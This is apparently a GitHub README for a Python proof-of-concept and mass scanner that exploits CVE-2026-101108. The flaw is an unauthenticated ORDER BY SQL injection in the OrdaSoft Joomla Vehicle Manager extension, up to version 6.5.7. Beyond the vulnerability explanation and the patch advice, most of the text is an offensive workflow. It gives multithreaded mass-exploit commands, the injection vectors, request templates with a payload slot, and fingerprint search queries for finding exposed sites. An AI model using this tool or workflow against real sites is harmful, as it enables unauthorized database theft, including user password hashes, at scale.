murrez/cve-2026-101108Python 3 PoC and mass scanner for CVE-2026-101108, an unauthenticated ORDER BY SQL injection in OrdaSoft Joomla Vehicle Manager <=6.5.7 (com_vehiclemanager).
Python 3 PoC for CVE-2026-101108 — OrdaSoft Vehicle Manager (Free) Joomla extension ≤ 6.5.7. Fixed in 6.5.8+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101108 |
| Catalog | https://pocbit.org/pocs/ |
| Component | com_vehiclemanager |
| File | site/vehiclemanager.php |
| Parameters | order_field, order_direction → ORDER BY (unquoted) |
| Auth | None (public category / search / all-vehicles views) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critical (Joomla CNA) |
Vehicle Manager (Free), Joomla’da araç ilanı (kategori, arama, tüm araçlar) sunan OrdaSoft eklentisidir. 6.5.7 ve önceki sürümlerde, order_field ve order_direction sıralama parametreleri site/vehiclemanager.php içinde işlenir: girdi üzerinde kaçış (escaping) uygulanır, ancak değer tırnaksız ORDER BY ifadesine konduğu için kaçış SQLi’ye karşı etkisiz kalır (CNA açıklaması).
Saldırgan kimlik doğrulaması olmadan veritabanı okuma/yazma, Joomla kullanıcı hash’leri ve site bütünlüğü açısından kritik risk oluşturur. 6.5.8 veya daha yeni sürüme yükseltin.
Typical Joomla/PHP code might run user input through a “sanitizer” that escapes quotes for string literals. In ORDER BY, column names and expressions are not string literals — the sort key is concatenated as SQL structure. An attacker supplies expressions such as error-based subqueries instead of a real column name. The CNA text for CVE-2026-101108 explicitly documents this escape bypass pattern.
Affected anonymous frontend entry points:
showCategory)search / related tasks)showVehicles and similar)| Mode | Behavior |
|---|---|
| check | Fingerprint component + manifest version, discover catid/Itemid, confirm SQLi |
| exploit | Error-based EXTRACTVALUE-style double query via ORDER BY |
| mass | --list + -j for bulk check or bulk extract |
Injection vectors tried (first successful wins in exploit):
order_field GETorder_direction GET (asc,<subquery>)order_field POSTorder_direction POSTJSONL fields: pocbit, pocbit_catalog, pocbit_page, cve, component.
cd CVE-2026-101108
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Meaning |
|---|---|
--aggressive | Check mode also attempts SELECT VERSION() leak |
--subquery | Inner SELECT for error-based payload (MySQL) |
--vector | Force one of four ORDER BY vectors |
--exploited-list | Tab-separated leaks on successful exploit |
--no-color | Plain CLI (NO_COLOR respected) |
Exit codes: exploit mode 0 when exploited: true; check mode 0 when exploitable_candidate.
Category route (sort params appended by PoC):
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc HTTP/1.1
Search route baseline built by PoC:
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all HTTP/1.1
When readable:
/administrator/components/com_vehiclemanager/vehiclemanager.xmlVersion ≤ 6.5.7 → likely_vulnerable_version. ≥ 6.5.8 → patched_version.
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
Export hosts to targets.txt (one base URL per line), then check → hits → exploit on authorized assets only.
Same disclosure window as Real Estate Manager CVEs (e.g. CVE-2026-100752 / CVE-2026-100753): multiple OrdaSoft Joomla extensions received SQLi/XSS fixes. If you run Vehicle Manager, patch all OrdaSoft components you deploy.
| CVE | Product | Issue | Fixed |
|---|---|---|---|
| CVE-2026-101108 | Vehicle Manager (Free) | Unauth ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | Unauth ORDER BY SQLi | 6.7.9 |
Credit (CNA): Ala Arfaoui.
com_vehiclemanager SQLi (older versions, search parameters) — distinct from but related component surfaceAuthorized security testing and patch validation only.
CVE-2026-101108 PoC: OrdaSoft Joomla Vehicle Manager (Free) <=6.5.7 unauth SQLi — order_field/order_direction unquoted ORDER BY (com_vehiclemanager). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101108